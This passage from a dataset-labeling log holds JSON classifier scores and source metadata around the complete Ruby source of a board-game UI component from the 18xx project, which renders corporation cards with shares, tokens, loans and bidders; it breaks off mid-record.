"missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9545, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9545, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:31:18.332163+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "4645bb11-3ccf-407b-9963-36fa030e0a10", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "b5a0fec573f33a2a92cfd4e29105eb47f13365c54ac37877cf18ea176653b109", "source_metadata": {"uuid": "4645bb11-3ccf-407b-9963-36fa030e0a10", "repo_name": "botp/dar-gces", "relative_path": "config/routes.rb", "category": "CONFIG", "algo_rel_score": 0.7486968636512756, "quality_score": 3.71637225151062, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 156, "repo_created_at": "2013-09-13T15:56:58.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "bd4c8aae943c8dc9627382c2ea832ad35e0b7310", "size_bytes": 4208, "file_timestamp": 1380593890, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "5be162a0fc39c7074181692961754306bf33bd8b"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 156, "repo_created_at": "2013-09-13T15:56:58.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "bd4c8aae943c8dc9627382c2ea832ad35e0b7310", "size_bytes": 4208, "file_timestamp": 1380593890, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "5be162a0fc39c7074181692961754306bf33bd8b", "url": "https://github.com/botp/dar-gces/blob/5be162a0fc39c7074181692961754306bf33bd8b/config/routes.rb"}, "gpt4o_tokens": 1032, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.0460977565079332, "noise_severity": 0.6771649082285206, "missing_content_severity": 0.02114998144236183, "factual_density": 3.3038219523054364, "pretraining_utility": -0.11386695926089935, "math_density": 0.0020018042357243418, "code_density": 3.466883701661986, "reasoning_density": 0.03562847345384538, "education_level": 2.05600606534141, "creative_writing_quality": -0.43405404598600833}, "score_applicability": {"education_level": 0.9949116001195057, "creative_writing_quality": 0.0008468539209302896}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/tobymao/18xx/blob/27b1287653c2ea08c387c099539702d8c712d09a/assets/app/view/game/corporation.rb", "id": "ruby-0-21d5d7cd6527df4e4fb0f38b6438d270", "text": "# frozen_string_literal: true\n\nrequire 'lib/settings'\nrequire 'view/game/actionable'\nrequire 'view/game/alternate_corporations'\nrequire 'view/game/companies'\n\nmodule View\n module Game\n class Corporation < Snabberb::Component\n include Actionable\n include AlternateCorporations\n include Lib::Settings\n\n needs :user, default: nil, store: true\n needs :bids, default: nil\n needs :corporation\n needs :selected_company, default: nil, store: true\n needs :selected_corporation, default: nil, store: true\n needs :game, store: true\n needs :display, default: 'inline-block'\n needs :selectable, default: true\n needs :interactive, default: true\n needs :show_companies, default: true\n\n def render\n # use alternate view of corporation if needed\n if @game.respond_to?(:corporation_view) && (view = @game.corporation_view(@corporation))\n return send(\"render_#{view}\")\n end\n\n @hidden_divs = {}\n\n select_corporation = lambda do\n if @selectable\n selected_corporation = selected? ? nil : @corporation\n store(:selected_corporation, selected_corporation)\n end\n\n if can_assign_corporation?\n company = @selected_company\n target = @corporation\n store(:selected_corporation, nil, skip: true)\n store(:selected_company, nil, skip: true)\n process_action(Engine::Action::Assign.new(company, target: target))\n end\n end\n\n card_style = {\n cursor: 'pointer',\n }\n\n card_style[:display] = @display\n\n unless @interactive\n factor = color_for(:bg2).to_s[1].to_i(16) > 7 ? 0.3 : 0.6\n card_style[:backgroundColor] = convert_hex_to_rgba(color_for(:bg2), factor)\n card_style[:border] = '1px dashed'\n end\n\n card_style[:border] = '4px solid' if @game.round.can_act?(@corporation)\n\n if selected?\n card_style[:backgroundColor] = 'lightblue'\n card_style[:color] = 'black'\n card_style[:border] = '1px solid'\n end\n\n children = [render_title, render_holdings]\n\n if @game.corporation_show_shares?(@corporation)\n children << render_shares unless @corporation.hide_shares?\n if @game.corporation_show_individual_reserved_shares? && !@corporation.reserved_shares.empty?\n children << render_reserved\n end\n children << render_owned_other_shares unless @corporation.corporate_shares.empty?\n children << h(Companies, owner: @corporation, game: @game) unless @corporation.companies.empty?\n if @game.respond_to?(:corporate_card_minors) && !(ms = @game.corporate_card_minors(@corporation)).empty?\n children << render_minors(ms)\n end\n end\n abilities_to_display = @corporation.all_abilities.select(&:description)\n children << render_abilities(abilities_to_display) if abilities_to_display.any?\n children << render_bidders if @bids && !@bids.empty?\n\n extras = []\n if @game.corporation_show_loans?(@corporation)\n if @game.total_loans&.nonzero?\n extras.concat(render_loans)\n extras.concat(render_interest) if @game.corporation_show_interest?\n end\n if @corporation.corporation? && @corporation.floated? &&\n @game.total_loans.positive? && @corporation.can_buy?\n extras << render_buying_power\n end\n end\n extras << render_capitalization_type if @corporation.corporation? && @corporation.respond_to?(:capitalization_type_desc)\n extras << render_escrow_account if @corporation.corporation? && @corporation.respond_to?(:escrow) && @corporation.escrow\n if extras.any?\n props = { style: { borderCollapse: 'collapse' } }\n children << h('table.center', props, [h(:tbody, extras)])\n end\n\n if @corporation.owner\n props = {\n style: {\n grid: '1fr / repeat(2, max-content)',\n justifyContent: 'center',\n backgroundColor: color_for(:bg2),\n color: color_for(:font2),\n },\n }\n\n subchildren = render_operating_order\n subchildren << render_revenue_history if @game.render_revenue_history?(@corporation)\n children << h(:div, props, subchildren)\n end\n\n status_props = {\n style: {\n justifyContent: 'center',\n backgroundColor: color_for(:bg2),\n color: color_for(:font2),\n },\n }\n status_array_props = {\n style: {\n display: 'inline-block',\n width: '100%',\n textAlign: 'center',\n backgroundColor: color_for(:bg2),\n color: color_for(:font2),\n },\n }\n item_props = {\n style: {\n display: 'inline-block',\n padding: '0 0.5rem',\n },\n }\n\n children << h(:div, status_props, @game.float_str(@corporation)) if @corporation.trains.any? && !@corporation.floated?\n children << h(:div, status_props, @game.status_str(@corporation)) if @game.status_str(@corporation)\n if @game.status_array(@corporation)\n children << h(:div, status_array_props,\n @game.status_array(@corporation).map { |text, klass| h(\"div.#{klass}\", item_props, text) })\n end\n\n h('div.corp.card', { style: card_style, on: { click: select_corporation } }, children)\n end\n\n def render_bidders\n table_props = {\n style: {\n margin: '0 auto',\n borderSpacing: '0 1px',\n fontWeight: 'normal',\n },\n }\n\n # almost identical to render_bidders in view/game/company\n # except for minor CSS tweaks for padding/text alignment\n header_props = {\n style: {\n clear: 'both',\n textAlign: 'center',\n fontWeight: 'bold',\n padding: '0.5rem',\n },\n }\n\n rows = @bids\n .sort_by(&:price)\n .reverse.map.with_index do |bid, i|\n bg_color =\n if setting_for(:show_player_colors, @game)\n player_colors(@game.players)[bid.entity]\n elsif @user && bid.entity.name == @user['name']\n color_for(i.zero? ? :green : :yellow)\n else\n color_for(:bg)\n end\n props = {\n style: {\n backgroundColor: bg_color,\n color: contrast_on(bg_color),\n },\n }\n h(:tr, props, [\n h('td.left', bid.entity.name.truncate(20)),\n h('td.right', bid.price >= 0 ? @game.format_currency(bid.price) : '--'),\n ])\n end\n\n h(:div, header_props, [\n h(:label, 'Bidders:'),\n h(:table, table_props, [\n h(:tbody, [\n *rows,\n ]),\n ]),\n ])\n end\n\n def render_title(bg = nil)\n title_row_props = {\n style: {\n grid: '1fr / auto 1fr auto',\n gap: '0 0.4rem',\n padding: '0.2rem 0.35rem',\n background: @corporation.color,\n color: @corporation.text_color,\n 'min-height': '2.4rem',\n },\n }\n logo_props = {\n attrs: { src: logo_for_user(@corporation) },\n style: {\n height: '1.6rem',\n width: '1.6rem',\n padding: '1px',\n border: '2px solid currentColor',\n borderRadius: '0.5rem',\n },\n }\n logo_props[:style][:background] = bg if bg\n children = [h(:img, logo_props), h('div.title', @corporation.full_name)]\n\n if @corporation.system?\n logo_props[:attrs][:src] = logo_for_user(@corporation.corporations.last)\n children << h(:img, logo_props)\n end\n\n if @game.second_icon(@corporation)\n logo_props[:attrs][:src] = logo_for_user(@game.second_icon(@corporation))\n children << h(:img, logo_props)\n end\n\n h('div.corp__title', title_row_props, children)\n end\n\n def render_holdings\n holdings_row_props = {\n style: {\n grid: '1fr / max-content minmax(max-content, 1fr) minmax(4rem, max-content)',\n gap: '0 0.5rem',\n padding: '0.2rem 0.2rem 0.2rem 0.35rem',\n backgroundColor: color_for(:bg2),\n color: color_for(:font2),\n },\n }\n sym_props = {\n attrs: {\n title: 'Corporation Symbol',\n },\n style: {\n fontSize: '1.5rem',\n fontWeight: 'bold',\n },\n }\n holdings_props = {\n style: {\n grid: '1fr / repeat(auto-fit, auto)',\n gridAutoFlow: 'column',\n gap: '0 0.5rem',\n justifyContent: 'space-evenly',\n justifySelf: 'normal',\n },\n }\n\n holdings =\n if !@corporation.corporation? || @corporation.floated? || @corporation.trains.any?\n h(:div, holdings_props, [render_trains, render_cash])\n elsif @corporation.cash.positive?\n h(:div, holdings_props, [render_to_float, render_cash])\n else\n h(:div, [render_to_float])\n end\n\n h('div.corp__holdings', holdings_row_props, [\n h(:div, sym_props, @corporation.name),\n holdings,\n render_tokens,\n ])\n end\n\n def render_cash\n render_header_segment(@game.format_currency(@corporation.cash), 'Cash')\n end\n\n def render_to_float\n props = { style: { textAlign: 'center' } }\n props[:style][:maxWidth] = '3.5rem' if @corporation.cash.positive? && @corporation.tokens.size > 3\n h(:div, props, @game.float_str(@corporation))\n end\n\n def render_trains\n render_header_segment(@game.trains_str(@corporation), 'Trains')\n end\n\n def render_header_segment(values, key)\n values = [values] unless values.is_a?(Array)\n\n value_props = {\n style: {},\n attrs: {\n title: key,\n },\n }\n value_props[:style][:fontSize] = '80%' if values.max_by(&:size).size > 10\n\n h('div.bold', values.map { |v| h('div.nowrap', value_props, v) })\n end\n\n def render_tokens\n token_list_props = {\n style: {\n grid: '1fr / auto-flow',\n gap: '0 0.2rem',\n width: '100%',\n overflow: 'auto',\n },\n }\n token_column_props = {\n attrs: {},\n style: {\n grid: '1fr auto / 1fr',\n },\n }\n\n tokens_body = @corporation.tokens.map.with_index do |token, i|\n token_text =\n if i.zero? && @corporation.coordinates\n @corporation.coordinates.is_a?(Array) ? @corporation.coordinates.join('/') : @corporation.coordinates\n else\n token.hex ? token.hex.name : token.price\n end\n [logo_for_user(token), token.used, token_text]\n end\n tokens_body.sort_by! { |t| t[1] ? 1 : -1 }\n\n @corporation.assignments.each do |assignment, _active|\n img = @game.assignment_tokens(assignment)\n tokens_body << [img, true, assignment]\n end\n\n h(:div, token_list_props, tokens_body.map do |logo, used, text|\n token_column_props[:attrs][:title] = \"token #{used ? 'location: ' : 'cost: '}#{text}\"\n img_props = {\n attrs: {\n src: logo,\n },\n style: {\n width: '1.5rem',\n },\n }\n img_props[:style][:filter] = 'contrast(50%) grayscale(100%)' if used\n\n h(:div, token_column_props, [\n h(:img, img_props),\n h(:div, text),\n ])\n end)\n end\n\n def share_price_str(share_price)\n share_price ? @game.format_currency(share_price.price) : ''\n end\n\n def share_number_str(number)\n return '' if number.zero?\n\n result = number.to_s\n return result unless @corporation.fraction_shares\n\n result.index('.') ? result : \"#{result}.0\"\n end\n\n def entities_rows(entities, pres_transfer_order = false)\n step = @game.round.active_step\n\n if pres_transfer_order\n # For player rows, create an array of names, rotate that array so\n # the president is at index 0, and use the resulting order to sort\n # player names when they have the same number of shares. This results\n # in the listed order showing the correct transfer of presidency.\n players_in_order = entities.map(&:name)\n if @corporation.owner\n player_index = players_in_order.index(@corporation.owner.name)\n players_in_order = players_in_order.rotate(player_index) if player_index\n end\n end\n\n entity_info = entities.map do |entity|\n [\n entity,\n @corporation.president?(entity),\n entity.num_shares_of(@corporation, ceil: false),\n step&.did_sell?(@corporation, entity),\n pres_transfer_order ? players_in_order.index(entity.name) : 0,\n step&.last_acted_upon?(@corporation, entity),\n !@corporation.holding_ok?(entity, 1),\n entity.shares_of(@corporation).count(&:double_cert),\n @game&.share_flags(entity.shares_of(@corporation)),\n ]\n end\n\n shares_props = {\n style: {\n paddingRight: '1.3rem',\n },\n }\n\n entity_info\n .select { |_, _, num_shares, did_sell| !num_shares.zero? || did_sell }\n .sort_by { |_, president, num_shares, _, transfer_index| [president ? 0 : 1, -num_shares, transfer_index] }\n .map do |entity, president, num_shares, did_sell, _, last_acted_upon, at_limit, double_certs, other_flags|\n flags = (president ? '*' : '') + ('d' * double_certs) + (at_limit ? 'L' : '') + (other_flags || '')\n\n type = entity.player? ? 'tr.player' : 'tr.corp'\n type += '.bold' if last_acted_upon\n name = entity.player? ? entity.name : \"© #{entity.name}\"\n show_percent = @game.class::SHOW_SHARE_PERCENT_OWNERSHIP\n percent_shares = num_shares * @corporation.share_percent\n percent_shares_str = percent_shares.positive? && show_percent ? \" (#{percent_shares}%)\" : ''\n\n h(type, [\n h(\"td.left.name.nowrap.#{president ? 'president' : ''}\", name),\n h('td.right', shares_props, \"#{flags.empty? ? '' : flags + ' '}#{share_number_str(num_shares)}#{percent_shares_str}\"),\n did_sell ? h('td.italic', 'Sold') : '',\n ])\n end\n end\n\n def render_shares\n shares_props = {\n style: {\n paddingRight: '1.3rem',\n },\n }\n\n if @game.corporations_can_ipo?\n player_rows = entities_rows(@game.share_owning_players + @game.operating_order.reject do |c|\n c == @corporation && !c.treasury_as_holding\n end.sort, true)\n other_corp_rows = []\n else\n player_rows = entities_rows(@game.share_owning_players, true)\n other_corp_rows = entities_rows(@game.corporations.reject { |c| c == @corporation && !c.treasury_as_holding })\n end\n\n other_minor_rows = entities_rows(@game.minors) if @game.class::MINORS_CAN_OWN_SHARES\n\n num_ipo_shares = share_number_str(@corporation.num_ipo_shares - @corporation.num_ipo_reserved_shares)\n if @game.respond_to?(:reissued?) && @game.reissued?(@corporation) && !num_ipo_shares.empty?\n num_ipo_shares = '* ' + num_ipo_shares\n end\n num_dc_all = @corporation.shares_of(@corporation).count(&:double_cert)\n num_dc_reserved = @corporation.reserved_shares.count(&:double_cert)\n num_dc_avail = num_dc_all - num_dc_reserved\n\n num_treasury_shares = share_number_str(@corporation.num_treasury_shares)\n\n pool_rows = []\n if !num_ipo_shares.empty? || num_dc_avail.positive? || !%i[full none].include?(@corporation.capitalization)\n pool_rows << h('tr.ipo', [\n h('td.left', @game.ipo_name(@corporation)),\n h('td.right', shares_props, ('d' * num_dc_avail) + num_ipo_shares),\n h('td.padded_number', share_price_str(@corporation.par_price)),\n ])\n end\n\n if !num_treasury_shares.empty? && !@corporation.ipo_is_treasury? && !@corporation.treasury_as_holding\n pool_rows << h('tr.ipo', [\n h('td.left', 'Treasury'),\n h('td.right', shares_props, num_treasury_shares),\n h('td.padded_number', share_price_str(@corporation.share_price)),\n ])\n end\n\n if @corporation.reserved_shares.any?\n flags = ('d' * num_dc_reserved) + 'R'\n pool_rows << h('tr.reserved', [\n h('td.left', @game.ipo_reserved_name),\n h('td.right', shares_props, flags + ' ' + share_number_str(@corporation.num_ipo_reserved_shares)),\n h('td.padded_number', share_price_str(@corporation.par_price)),\n ])\n end\n\n market_tr_props = {\n style: {\n borderBottom: player_rows.any? ? '1px solid currentColor' : '0',\n },\n }\n\n if player_rows.any? && @corporation.share_price&.highlight? &&\n (color = StockMarket::COLOR_MAP[@game.class::STOCKMARKET_COLORS[@corporation.share_price.type]])\n market_tr_props[:style][:backgroundColor] = color\n market_tr_props[:style][:color] = contrast_on(color)\n end\n\n if player_rows.any? || @corporation.num_market_shares.positive?\n at_limit = @game.share_pool.bank_at_limit?(@corporation)\n double_certs = @game.share_pool.shares_of(@corporation).count(&:double_cert)\n other_flags = @game.share_flags(@game.share_pool.shares_of(@corporation))\n\n flags = (@corporation.receivership? ? '*' : '') + ('d' * double_certs) + (at_limit ? 'L' : '') + (other_flags || '')\n\n pool_rows << h('tr.market', market_tr_props, [\n h('td.left', 'Market'),\n h('td.right', shares_props,\n flags + ' ' +\n share_number_str(@corporation.num_market_shares)),\n h('td.padded_number', share_price_str(@corporation.share_price)),\n ])\n end\n\n rows = [\n *pool_rows,\n *player_rows,\n *other_corp_rows,\n *other_minor_rows,\n ]\n\n props = { style: { borderCollapse: 'collapse' } }\n\n h('table.center', props, [\n h(:thead, [\n h(:tr, [\n h(:th, 'Shareholder'),\n h(:th, 'Shares'),\n h(:th, 'Price'),\n ]),\n ]),\n h(:tbody, [\n *rows,\n ]),\n ])\n end\n\n def render_owned_other_shares\n shares = @corporation\n .shares_by_corporation.reject { |c, s| s.empty? || (c == @corporation && !@corporation.treasury_as_holding) }\n .sort_by { |c, s| [s.sum(&:percent), c.president?(@corporation) ? 1 : 0, c.name] }\n .reverse\n .map { |c, s| render_owned_other_corp(c, s) }\n\n h(:table, shares)\n end\n\n def render_owned_other_corp(corporation, shares)\n td_props = {\n style: {\n padding: '0 0.2rem',\n },\n }\n div_props = {\n style: {\n height: '20px',\n },\n }\n logo_props = {\n attrs: {\n src: logo_for_user(corporation),\n },\n style: {\n height: '20px',\n },\n }\n\n president_marker = corporation.president?(@corporation) ? '*' : ''\n h('tr.row', [\n h('td.center', td_props, [h(:div, div_props, [h(:img, logo_props)])]),\n h(:td, td_props, corporation.name + president_marker),\n h('td.right', td_props, \"#{shares.sum(&:percent)}%\"),\n ])\n end\n\n def render_reserved\n bold = { style: { fontWeight: 'bold' } }\n h('table.center', [\n h(:tbody, [\n h('tr.reserved', [\n h('td.left', bold, \"#{@game.ipo_reserved_name} shares:\"),\n h('td.right', @corporation.reserved_shares.map { |s| \"#{s.percent}%\" }.join(', ')),\n ]),\n ]),\n ])\n end\n\n def render_revenue_history\n last_run = @corporation.operating_history[@corporation.operating_history.keys.max]\n revenue = @game.format_revenue_currency(last_run.revenue)\n text, type =\n case (last_run.routes.empty? ? 'no_run' : last_run.dividend_kind)\n when 'no_run'\n [\"[#{revenue}]\", 'did not run']\n when 'withhold'\n [\"[#{revenue}]\", 'withheld']\n when 'half'\n [\"¦#{revenue}¦\", 'half-paid']\n else\n [revenue, 'paid out']\n end\n\n h(:div, { style: { display: 'inline', marginLeft: '2rem' } }, [\n 'Last Run: ',\n h('span.bold', { attrs: { title: type } }, text),\n ])\n end\n\n def render_operating_order\n round = @game.round\n order =\n if round.operating?\n round.entities.index(@corporation)\n else\n @game.operating_order.index(@corporation)\n end\n\n if order\n m = round.entities.index(round.current_entity) if round.operating?\n span_class = '.bold' if order && m && order >= m\n [h(:div, { style: { display: 'inline' } }, [\n 'Order: ',\n h(\"span#{span_class}\", order + 1),\n ])]\n else\n []\n end\n end\n\n def render_loans\n loan_props = { style: {} }\n if @corporation.loans.size > @game.maximum_loans(@corporation)\n color = StockMarket::COLOR_MAP[:red]\n loan_props[:style][:backgroundColor] = color\n loan_props[:style][:color] = contrast_on(color)\n end\n\n [\n h('tr.ipo', loan_props, [\n h('td.right', @game.corp_loans_text),\n h('td.padded_number', \"#{@corporation.loans.size}/\"\\\n \"#{@game.maximum_loans(@corporation)}\"),\n ]),\n ]\n end\n\n def render_interest\n interest_props = { style: {} }\n unless @game.can_pay_interest?(@corporation)\n color = StockMarket::COLOR_MAP[:yellow]\n interest_props[:style][:backgroundColor] = color\n interest_props[:style][:color] = contrast_on(color)\n end\n\n [\n h('tr.ipo', interest_props, [\n h('td.right', 'Interest Due'),\n h('td.padded_number', @game.format_currency(@game.interest_owed(@corporation)).to_s),\n ]),\n ]\n end\n\n def render_capitalization_type\n h('tr.ipo', [\n h('td.right', 'Cap. Type'),\n h('td.padded_number', @corporation.capitalization_type_desc.to_s),\n ])\n end\n\n def render_escrow_account\n h('tr.ipo', [\n h('td.right', 'Escrow'),\n h('td.padded_number', @game.format_currency(@corporation.escrow)),\n ])\n end\n\n def render_buying_power\n h('tr.ipo', [\n h('td.right', 'Buying Power'),\n h('td.padded_number', @game.format_currency(@game.buying_power(@corporation, full: true)).to_s),\n ])\n end\n\n def toggle_desc_detail(event, i)\n event.JS.stopPropagation\n elm = Native(@hidden_divs[\"#{@corporation.name}_#{i}\"]).elm\n elm.style.display = elm.style.display == 'none' ? 'grid' : 'none'\n end\n\n def render_abilities(abilities)\n hidden_props = {\n style: {\n display: 'none',\n marginBottom: '0.5rem',\n padding: '0.1rem 0.2rem',\n fontSize: '80%',\n },\n }\n ability_props = {}\n\n ability_lines = abilities.flat_map.with_index do |ability, i|\n if ability.desc_detail\n ability_props = {\n style: { cursor: 'pointer' },\n on: { click: ->(event) { toggle_desc_detail(event, i) } },\n }\n end\n\n children = [h('div.nowrap', ability_props, ability.description)]\n if ability.desc_detail\n children << @hidden_divs[\"#{@corporation.name}_#{i}\"] = h(:div, hidden_props, ability.desc_detail)\n end\n children\n end\n\n h('div.ability_table', { style: { padding: '0 0.5rem 0.2rem' } }, [\n h('div.bold', \"Abilit#{abilities.count(&:description) > 1 ? 'ies' : 'y'}\"),\n *ability_lines,\n ])\n end\n\n def render_minors(minors)\n minor_logos = minors.map do |minor|\n logo_props = {\n attrs: {\n src: minor.logo,\n },\n style: {\n paddingRight: '1px',\n paddingLeft: '1px',\n height: '20px',\n },\n }\n h(:img, logo_props)\n end\n inner_props = {\n style: {\n display: 'inline-block',\n },\n }\n outer_props = {\n style: {\n textAlign: 'center',\n },\n }\n h('div', outer_props, [h('div', inner_props, minor_logos)])\n end\n\n def selected?\n @corporation == @selected_corporation\n end\n\n def logo_for_user(entity)\n setting_for(:simple_logos, @game) ? entity.simple_logo : entity.logo\n end\n\n def can_assign_corporation?\n @selected_corporation && @game.abilities(@selected_company, :assign_corporation)\n end\n end\n end\nend\n", "text_preview": "# frozen_string_literal: true require 'lib/settings' require 'view/game/actionable' require 'view/game/alternate_corporations' require 'view/game/companies' module View module Game class Corporation < Snabberb::Component include Actionable ", "input_sha256": "3fa8848b02bf289bff47ac69bfeb8d6c61c2c2c79343188f3b0188230d1b33c6", "text_sha256": "21d5d7cd6527df4e4fb0f38b6438d270705a42b59252ac6f4576e9b00ce6a2af", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16036, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.2151324460174253, "noise_severity": 0.019718279137566297, "missing_content_severity": 0.01381506438357651, "factual_density": 3.3103602836816557, "pretraining_utility": 0.47330052495260844, "math_density": 0.29120281724237734, "code_density": 3.9315557288730343, "reasoning_density": 0.463949849882167, "education_level": 2.3329218814951482, "creative_writing_quality": -0.28094413745626107}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.016116685290983757, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9978530779380034, "secondary": 0.9683313990649334, "tertiary": 0.9851488098033513, "structured_records": 0.09523312773281856, "procedural_steps": 0.0012085537457040996, "worked_solution": 0.0008010375729842606, "contextual_dialogue": 4.5921890443308234e-06, "content_quality": 0.5489526498845736, "noise_severity": 0.9835681007186947, "missing_content_severity": 0.9884874463470196, "factual_density": 0.4253002364013799, "pretraining_utility": 0.4201946297612301, "math_density": 0.7573309856313523, "code_density": 0.9429631073941952, "reasoning_density": 0.6133751250981941, "education_level": 0.605275422475248, "creative_writing_quality": 0.9994928998797931, "primary_topic": 0.9179981666217657, "secondary_topic": 0.4987820092278253}, "probability_margin": {"primary": 0.9968909751869695, "secondary": 0.9547055880026288, "tertiary": 0.9799323911696869, "education_level": 0.39948435687411005, "creative_writing_quality": 0.9993905098767638, "primary_topic": 0.8622749647133586, "secondary_topic": 0.23487425651221316}, "raw_probabilities": {"primary": {"Academic Writing": 1.896838223885637e-05, "Content Listing": 2.3571169274500983e-05, "Creative Writing": 1.4893828999612661e-05, "Customer Support Page": 5.744728149914294e-06, "Q&A Forum": 6.0910300962904295e-06, "Discussion Thread": 4.623473246961335e-06, "Comment Section": 7.634287967073046e-06, "Missing Content": 1.6082888738079e-05, "Knowledge Article": 3.6499612400079754e-05, "Legal Notices": 2.286183842212768e-05, "News Article": 2.914538840227886e-06, "Organizational Announcement": 7.3088875314222775e-06, "Nonfiction Writing": 6.2473822650564175e-06, "Organizational About Page": 8.462891053123942e-06, "Personal About Page": 8.151487935803648e-06, "Personal Blog": 5.261008952237859e-06, "Product Page": 5.457881676960504e-06, "Spam / Ads": 5.901025436339124e-06, "Structured Data": 0.0007242837980366082, "Technical Writing": 0.9979425330239199, "Transcript / Interview": 7.648305100558101e-06, "Tutorial / How-To Guide": 6.302719436195794e-05, "User Reviews": 4.273498406088308e-06, "Other / Unknown": 0.0010515578369504057}, "secondary": {"Academic Writing": 0.0001797179516897562, "Content Listing": 0.00042382202938899457, "Creative Writing": 0.00028628279545204923, "Customer Support Page": 7.705659863546557e-05, "Q&A Forum": 5.804653662769383e-05, "Discussion Thread": 5.814895519869705e-05, "Comment Section": 0.0002506085113302951, "Missing Content": 0.0006595508733846317, "Knowledge Article": 0.0005550541356563945, "Legal Notices": 0.0002598037633607189, "News Article": 7.349286758824465e-05, "Organizational Announcement": 8.010146835354857e-05, "Nonfiction Writing": 8.98288156748528e-05, "Organizational About Page": 0.00010418119006195551, "Personal About Page": 8.197158206628485e-05, "Personal Blog": 7.303180747458652e-05, "Product Page": 5.2600605262725307e-05, "Spam / Ads": 0.00010340036949695303, "Structured Data": 0.011260339336957602, "Technical Writing": 0.014945336101265727, "Transcript / Interview": 8.5398061560117e-05, "Tutorial / How-To Guide": 0.0005513255984930096, "User Reviews": 3.997594112517387e-05, "NONE": 0.9696509241038945}, "tertiary": {"Academic Writing": 9.721959919590765e-05, "Content Listing": 0.0003577401338650179, "Creative Writing": 0.00018973243633604894, "Customer Support Page": 3.950275692721285e-05, "Q&A Forum": 2.4916048652859912e-05, "Discussion Thread": 2.754178180674417e-05, "Comment Section": 0.00017840514868784835, "Missing Content": 0.00048573377388593805, "Knowledge Article": 0.0003791915670651333, "Legal Notices": 0.0002807176752704353, "News Article": 3.772535120840178e-05, "Organizational Announcement": 4.2130908013924966e-05, "Nonfiction Writing": 5.7291091392832766e-05, "Organizational About Page": 6.501224586237262e-05, "Personal About Page": 4.28075779605576e-05, "Personal Blog": 3.6733250842269864e-05, "Product Page": 3.365415382895153e-05, "Spam / Ads": 5.877294768943413e-05, "Structured Data": 0.0055345665780030424, "Technical Writing": 0.005835218225191396, "Transcript / Interview": 4.1359348018537926e-05, "Tutorial / How-To Guide": 0.0003660794814544058, "User Reviews": 2.0338523962510892e-05, "NONE": 0.9857676093948783}, "structured_records": {"false": 0.9047668722671814, "true": 0.09523312773281856}, "procedural_steps": {"false": 0.998791446254296, "true": 0.0012085537457040996}, "worked_solution": {"false": 0.9991989624270158, "true": 0.0008010375729842606}, "contextual_dialogue": {"false": 0.9999954078109556, "true": 4.5921890443308234e-06}, "content_quality": {"-2": 0.003197604863439535, "-1": 0.00782317262501664, "0": 0.1378230272201913, "1": 0.472961562213384, "2": 0.37819463307796847}, "noise_severity": {"0": 0.9830832810406391, "1": 0.01501900541809307, "2": 0.00125332464165185, "3": 0.00038493116229407367, "4": 0.0002594577373218264}, "missing_content_severity": {"0": 0.9935664966860368, "1": 0.001634444598333609, "2": 0.00258969368611601, "3": 0.0018362277050435866, "4": 0.00037313732447002995}, "factual_density": {"0": 0.010775768539180526, "1": 0.018862744746599235, "2": 0.11522666739576612, "3": 0.3594950731302921, "4": 0.495639746188162}, "pretraining_utility": {"-2": 0.009409450755823015, "-1": 0.10189471733376283, "0": 